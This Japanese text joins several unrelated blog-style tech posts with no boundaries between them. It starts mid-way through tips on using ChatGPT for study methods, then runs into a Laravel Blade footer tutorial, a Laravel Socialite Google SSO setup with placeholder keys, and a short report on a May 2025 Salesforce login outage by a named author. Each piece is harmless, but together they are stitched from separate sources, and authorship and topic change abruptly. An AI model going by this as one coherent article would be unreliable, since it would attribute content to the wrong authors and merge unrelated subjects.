### 3. **リトリーバル練習（思い出す） × ChatGPT**

> 「読むだけ」ではなく「思い出す」練習が記憶の鍵。

**活用法：**
「○○のテーマについて問題を出して。答えは自分で考えるから、最後に解説して」と依頼。自力で思い出す→確認の流れが効果的。


### 4. **生産的失敗 × ChatGPT**

> 「間違うこと」が実は一番学びになる。

**活用法：**
まだ習ってない分野でも、「この問題わからないけど、あえて解いてみる」と伝え、ChatGPTにヒントだけ出させる。失敗してもそのあとに学びが深まります。


### 5. **メタ認知 × ChatGPT**

> 「自分が何を理解できていないか」を意識する。

**活用法：**
「○○について自分の言葉で説明するので、矛盾があったら指摘して」と頼む。説明してみることで、自分の理解の穴が見えます。


### 6. **意味づけ・連想 × ChatGPT**

> 「情報をつなげる」と記憶が定着。

**活用法：**
「この内容を身近な例で説明して」「アニメや映画で例えて」などと頼むと、抽象的な内容が自分の体験と結びついて覚えやすくなります。


## 【まとめ】

ChatGPTは、**間違っても安心な相手**であり、**常に対話しながら学びを深める相棒**です。
「覚える」より「考える」「試す」「説明する」に使うのが効果的です。


特定の分野（英語・歴史・プログラミングなど）での応用法を知りたい場合も対応できます。
***

　上記活用法のPromptを参考にして
　　ご自分に合ったPromptを
　　　見つけてみてください。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
Laravel Bladeでauth画面 + ログイン前 のフッターを作成・表示する方法

# この記事でできること
・トップ画面（ログイン前）と、ログイン・新規登録画面（auth全般）で異なるフッターを出し分ける方法。
・Bladeコンポーネントを用途別に作り分けるシンプルな実装手順。
↓
トップ画面
![スクリーンショット 2025-05-12 11.49.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3726068/117a31bd-9ca1-464f-9d6d-bfa118e4acdb.png)

auth画面
![スクリーンショット 2025-05-12 11.49.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3726068/9e22c069-3d0e-425b-b5ea-04be5741602f.png)



# 手順(トップ画面の場合)
## ① コンポーネントファイルを作成
```bash
php artisan make:component FooterTop
```

作成されるファイル：
・app/View/Components/FooterTop.php
・resources/views/components/footer-top.blade.php


## ② footer-top.blade.php にHTMLを書く
```/views/components/footer-top.blade.php
<footer class="shadow bg-gray-200 py-4 text-center text-sm text-gray-500 w-full">
    &copy;
    <span class="ml-1">{{ date('Y') }}</span>
    <span class="ml-1">{{ config('app.name') }}</span>
    <span class="ml-1">All rights reserved</span>
</footer>
```


## ③ フッターを呼び出すレイアウトに x-footer-top を追加
・ x-footer-top を追記
・ body、main の class も適宜修正
```/views/welcome.blade.php
<body class="min-h-screen flex flex-col font-sans antialiased items-center justify-center bg-gray-100">
    <main class="flex-grow flex flex-col items-center justify-center text-center">

    <!-- コンテンツをここに -->
        
    </main>

    <x-footer-top />
</body>
```

## ゴール
![スクリーンショット 2025-05-12 13.00.12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3726068/aebb4148-5226-496e-aa36-0ba8564c9f9a.png)



# 手順(auth画面の場合)
## ① コンポーネントファイルを作成
```bash
php artisan make:component FooterAuth
```

作成されるファイル：
・app/View/Components/FooterAuth.php
・resources/views/components/footer-auth.blade.php



## ② footer-auth.blade.php にHTMLを書く
```/views/components/footer-auth.blade.php
<footer class="shadow bg-gray-200 py-4 text-center text-sm text-gray-500 w-full">
    &copy;
    <span class="ml-1">{{ date('Y') }}</span>
    <span class="ml-1">{{ config('app.name') }}</span>
    <span class="ml-1">All rights reserved</span>
</footer>
```


## ③ フッターを呼び出すレイアウトに x-footer-auth を追加
以下コードに全体を修正
```/views/layouts/guest.blade.php
<body class="font-sans text-gray-900 antialiased min-h-screen flex flex-col bg-gray-100">
    <div class="flex-grow flex flex-col justify-center">
        <div class="flex justify-center">
            <a href="/">
                <x-application-logo class="w-20 h-20 fill-current text-gray-500" />
            </a>
        </div>
    
        <div class="w-full sm:max-w-md md:max-w-lg lg:max-w-xl xl:max-w-2xl mx-auto mt-6 px-6 py-4 bg-white shadow-md overflow-hidden sm:rounded-lg">
            {{ $slot }}
        </div>
    </div>
    
    <x-footer-auth />
</body>
```

## ゴール
![スクリーンショット 2025-05-12 13.15.49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3726068/c60e242e-403e-4f6f-8b72-be8dc95e2cd5.png)



# 関連：footer を共通化して作成・表示する手順【Laravel9】
https://qiita.com/honaki/items/01390a373e6222981e79
Laravel Google アカウントでSSO

Laravelで作成したウェブアプリにGoogle アカウントでSSOログインできる機能を実装します。

SSOの概念すらわかっていなかったのでアプトプットとして記載します。
またOAuth(オーオース)の説明についても参考記事を記載しておきます。
https://qiita.com/TakahikoKawasaki/items/e37caf50776e00e733be

### SSO (シングルサイイオン)とは
ユーザーが1セットのアカウント情報だけで複数のアプリやWebサイトにログインできる仕組みのこと

## 各サービスの事前準備

## 1. Google Developers Console(GCP)アカウント作成

## 2.プロジェクトの作成
「プロジェクト」を押下して、プロジェクト名を入力して「作成」を押下
![スクリーンショット 2025-04-16 9.15.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2911371/71599cb8-604a-46d1-a90e-c961a9ddaf1b.png)

## 3.クライアントID、クライアントシークレットの発行
 ここで承認済みのリダイレクトURLを設定する必要があります。
認証情報を作成 > OAuthクライアントIDをクリック
![スクリーンショット 2025-04-16 9.20.09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2911371/96d70e8c-a9bc-4ce8-a69c-976a13a45119.png)

OAuthクライアントIDの作成(アプリ名などはよりなりに作成してください)![スクリーンショット 2025-04-16 9.23.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2911371/f8318833-ff2f-474a-ad0b-624a30f5912c.png)

作成ボタンを押下するとOAuthクライアント情報が表示されるので、クライアントID、クライアントシークレットIDとJSONをダウンロードして、認証情報を保存してください。


## 4. Google + APIの有効化
API検索からGoogle+ APIを入力して検索する
![スクリーンショット 2025-04-16 9.32.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2911371/9143c934-8f5c-4f9f-9421-4fa693769115.png)

# Laravel設定

## .envにGCPアクセス情報を追加
```
GOOGLE_CLIENT_ID=xxxxxxxxxx-xxxxxxxxxxxxxx.apps.googleusercontent.com
GOOGLE_CLIENT_SECRET=xxxxxx-xxxxxxxxxx-xxxxxxxxx
```

## Laravel Socialite(ソーシャルライト) のインストール
OAuthプロバイダーで認証するためのシンプルで便利なライブリラーでLaravelの公式でサポートされている
公式URL：https://readouble.com/laravel/12.x/ja/socialite.html

インストール
```
composer require laravel/socialite
```
Config/services.phpにgoogle認証に必要なプロバイダー情報を追加する

```
   'google' => [
        'client_id' => env('GOOGLE_CLIENT_ID'),
        'client_secret' => env('GOOGLE_CLIENT_SECRET'),
        'redirect' => 'http://localhost:8080', // ここはGCPの承認済みのリダイレクトURIに合わせる必要があります。
    ],
```

## ルーティングで実装
```
<?php

use Illuminate\Support\Facades\Route;
use Laravel\Socialite\Facades\Socialite;

Route::get('/', function () {
    return view('welcome');
});

Route::get('/auth/redirect', function () {
    return Socialite::driver('google')->redirect();
}); // 追加


```

## 実際に動作確認
1.http://localhost:8080/auth/redirectをURL欄に入力
2.Google アカウント選択できること
3.トップページの戻ってくること
2025年5月12日に日本時間午前9時ごろ発生したSalesforceログイン不具合について調査した

本橋孝昭です

今回は
2025年5月12日に日本時間午前9時ごろ発生したSalesforceログイン不具合について調査しました

2025年5月12日に日本時間午前9時ごろ一部Salesforce環境でログイン不具合が発生しました
※2025年5月12日午前11時ごろ解決済み

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531631/9e0035e9-2b12-4615-befe-66bf3a3033aa.png)

https://trailhead.salesforce.com/trailblazer-community/feed/0D5KX00000Ti4uk0AB


こちらの内容はTrustにも掲載されています

 https://status.salesforce.com/generalmessages/10001535

 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531631/3d1ff23f-bebd-47ad-bd4d-6fd869a5799f.png)

Update 1: Posted Mon, 12 May 2025 02:35:22 UTC
 The Salesforce Technology team confirmed that a subset of users in the Tokyo and Korea regions were also affected during the impact period. Services across all affected regions are now operating normally.

 こちらでTokyoなどの地域について不具合が達成したことが分かります


 ちなみに、過去（2021年5月12日、2022年5月12日）にもSalesforceでもログインできない不具合がありましたので参考までにこちらの記事にまとめました

 https://qiita.com/Takaa/items/530381a30cc20464a9c8